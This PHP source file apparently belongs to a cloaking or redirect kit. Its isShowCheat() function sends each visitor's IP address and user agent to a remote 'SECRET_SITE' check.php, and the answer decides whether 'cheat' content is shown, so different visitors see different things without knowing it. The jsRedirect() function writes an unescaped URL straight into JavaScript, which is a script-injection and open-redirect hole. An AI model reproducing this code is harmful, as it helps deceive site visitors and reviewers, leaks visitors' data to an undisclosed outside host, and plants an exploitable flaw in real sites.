<?php

require_once "config.php";

function jsRedirect($url) {
?>

<html>

<head>

<script type="text/javascript">
window.location.href="<?= $url ?>";
</script>

</head>

<body>
</body>

</html>

<?php
}


function isShowCheat() {
    $ip = $_SERVER["REMOTE_ADDR"];
    $userAgent = $_SERVER["HTTP_USER_AGENT"];
    if (!isset($userAgent))
        return false;
    if (@file_get_contents(getOptionHost("SECRET_SITE").'/check.php?ip='.urlencode($ip).'&userAgent='.urlencode($userAgent)) !== false)
        return true;
    return false;
}

?>
